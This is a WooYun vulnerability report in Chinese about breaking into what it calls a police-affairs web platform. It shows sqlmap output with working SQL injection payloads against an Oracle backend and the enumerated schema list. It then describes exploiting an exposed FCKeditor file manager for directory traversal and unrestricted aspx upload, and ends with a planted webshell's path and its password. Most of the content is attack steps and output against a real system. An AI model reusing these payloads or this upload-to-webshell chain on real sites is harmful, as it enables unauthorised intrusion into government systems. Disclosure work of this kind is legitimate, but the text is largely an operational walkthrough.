WooYun.org

进去点击警务平台 里面是新闻 随便点开一个

先来看下uil
http://**.**.**.**/main.aspx?page=detail.aspx&id=3984
看到这个uil先拆开组合一下 在注入吧
首先取消main.aspx?page=
然后就是datail.aspx&id3984了
然后把&换成？组合成
http://**.**.**.**/detail.aspx?id=3984
访问一下正常的 那么我们注入一下
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 70 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3919' AND 5255=5255 AND 'wfIi'='wfIi
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=3919' AND 9956=DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(103)||CHR(108)||CHR(82),5) AND 'GAbv'='GAbv
---
[01:02:39] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
back-end DBMS: Oracle
[01:02:39] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[01:02:39] [INFO] fetching database (schema) names
[01:02:39] [INFO] fetching number of databases
[01:02:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[01:02:39] [INFO] retrieved: 19
[01:02:47] [INFO] retrieved: APEX_030200
[01:03:58] [INFO] retrieved: APPQOSSYS
[01:04:55] [INFO] retrieved: DBSNMP
[01:05:33] [INFO] retrieved: EXFSYS
[01:06:13] [INFO] retrieved: FLOWS_FILES
[01:07:29] [INFO] retrieved: LBACSYS
[01:08:08] [INFO] retrieved: MDSYS
[01:08:40] [INFO] retrieved: OLAPSYS
[01:09:24] [INFO] retrieved: ORDDATA
[01:10:05] [INFO] retrieved: ORDSYS
[01:10:41] [INFO] retrieved: OUTLN
[01:11:15] [INFO] retrieved: OWBSYS
[01:11:51] [INFO] retrieved: SYS
[01:12:10] [INFO] retrieved: SYSMAN
[01:12:46] [INFO] retrieved: SYSTEM
[01:13:21] [INFO] retrieved: WMSYS
[01:13:53] [INFO] retrieved: XDB
[01:14:13] [INFO] retrieved: XNGA
[01:14:38] [INFO] retrieved: ZJGL
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] LBACSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[*] XNGA
[*] ZJGL
注入成功
一般接下来就是进后台那shell了 今天我们不进后台了
也不去跑数据了 也没啥数据 除了后台账户密码 根本没啥用用的东西是吧
我们来检测下别的漏洞
扫目录 扫除fck编辑器
我们看下
http://**.**.**.**/fck//editor/filemanager/connectors/test.html

可以看的出这里已经有有人来搞过 不知道有没有搞下来是一回事了
接着看看能不能遍历目录了

权限还蛮大的 直接跨到d盘去
我们看看网站目录下的东西吧

看到了吧 直接不用账号密码就进入后台的一些功能了
可以直接利用了 试试那shell吧

看到了吧 直接上传的是aspx
没有任何限制 直接拿到了首级
http://**.**.**.**/uploadImgzl/2015110101244120/2015110101244120.aspx
大马地址 密码wang
不装逼了
就到这里吧